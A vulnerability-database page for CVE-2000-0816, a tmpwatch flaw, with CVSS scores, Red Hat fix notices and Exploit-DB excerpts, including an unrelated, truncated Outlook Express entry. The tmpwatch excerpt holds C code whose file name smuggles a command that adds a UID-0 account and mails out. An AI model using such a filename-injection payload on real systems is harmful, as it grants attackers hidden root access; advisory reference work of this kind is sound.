CVE-2000-0816
published 2000-10-06CVE-2000-0816: Linux tmpwatch --fuser option allows local users to execute arbitrary commands by creating files whose names contain shell metacharacters.
PriorityP415low2.1CVSS 2.0
AVLACLAuNCNIPAN
EXPLOIT
EPSS
0.91%
56.0th percentile
Linux tmpwatch --fuser option allows local users to execute arbitrary commands by creating files whose names contain shell metacharacters.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| redhat | linux | — | — |
| redhat | linux | — | — |
CVSS provenance
nvdv2.02.1LOWAV:L/AC:L/Au:N/C:N/I:P/A:N
vendor_redhat2.1LOW
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-pv6p-xwqp-cf4x: Linux tmpwatch --fuser option allows local users to execute arbitrary commands by creating files whose names contain shell metacharacters
ghsa_unreviewed·2022-04-30
CVE-2000-0816 [LOW] GHSA-pv6p-xwqp-cf4x: Linux tmpwatch --fuser option allows local users to execute arbitrary commands by creating files whose names contain shell metacharacters
Linux tmpwatch --fuser option allows local users to execute arbitrary commands by creating files whose names contain shell metacharacters.
Red Hat
security flaw
vendor_redhat·2000-10-06·CVSS 2.1
CVE-2000-0816 [LOW] security flaw
security flaw
Linux tmpwatch --fuser option allows local users to execute arbitrary commands by creating files whose names contain shell metacharacters.
Statement: This issue was fixed in the following products:
- Red Hat Linux 6.1 - RHSA-2000:080 (2000-11-08)
- Red Hat Linux 6.2 - RHSA-2000:080 (2000-11-08)
- Red Hat Linux 7.0 - RHSA-2000:080 (2000-11-08)
No detection rules found.
Exploit-DB
Microsoft Windows Outlook Express and Windows Mail - Integer Overflow
exploitdb·2010-05-11·CVSS 9.3
CVE-2010-0816 [CRITICAL] Microsoft Windows Outlook Express and Windows Mail - Integer Overflow
Microsoft Windows Outlook Express and Windows Mail - Integer Overflow
---
Application: Microsoft Outlook Express
Microsoft Windows Mail
Platforms: Windows 2000
Windows XP
Windows Vista
Windows server 2003
Windows Server 2008 SR2
Exploitation: Remote Exploitable
CVE Number: CVE-2010-0816
Discover Date: 2009-09-11
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com
#####################################################################################
1) Introduction
2) Report Timeline
3) Technical details
4) Products affected
5) The Code
#####################################################################################
1) Introduction
Windows Mail is an e-mail and newsgroup client included in Windows Vista, that was superseded by Wind
Exploit-DB
RedHat 6.2/7.0 Tmpwatch - Arbitrary Command Execution
exploitdb·2000-10-06
CVE-2000-0816 RedHat 6.2/7.0 Tmpwatch - Arbitrary Command Execution
RedHat 6.2/7.0 Tmpwatch - Arbitrary Command Execution
---
// source: https://www.securityfocus.com/bid/1785/info
A vulnerability exists in tmpwatch, a utility which automates the removal of temporary files in unix-like systems. An optional component of tmpwatch, fuser, improperly handles arguments to system() library calls. If an attacker creates a file with a maliciously-constructed filename including shell meta characters, and -fuser is run on this file, the attacker may be able to execute arbitrary commands, potentially compromising superuser access if tmpwatch is run with root privileges.
#include
int main()
{
FILE *f;
char filename[100] = ";useradd -u 0 -g 0 haks0r;mail
[email protected]<blablabla";
if((f = fopen(filename, "a")) == 0) {
perror("Could not create file");
exit(1)
http://www.linux-mandrake.com/en/security/MDKSA-2000-056.php3?dis=7.1http://www.redhat.com/support/errata/RHSA-2000-080.htmlhttp://www.securityfocus.com/bid/1785http://xforce.iss.net/alerts/advise64.phphttps://exchange.xforce.ibmcloud.com/vulnerabilities/5320http://www.linux-mandrake.com/en/security/MDKSA-2000-056.php3?dis=7.1http://www.redhat.com/support/errata/RHSA-2000-080.htmlhttp://www.securityfocus.com/bid/1785http://xforce.iss.net/alerts/advise64.phphttps://exchange.xforce.ibmcloud.com/vulnerabilities/5320
2000-10-06
Published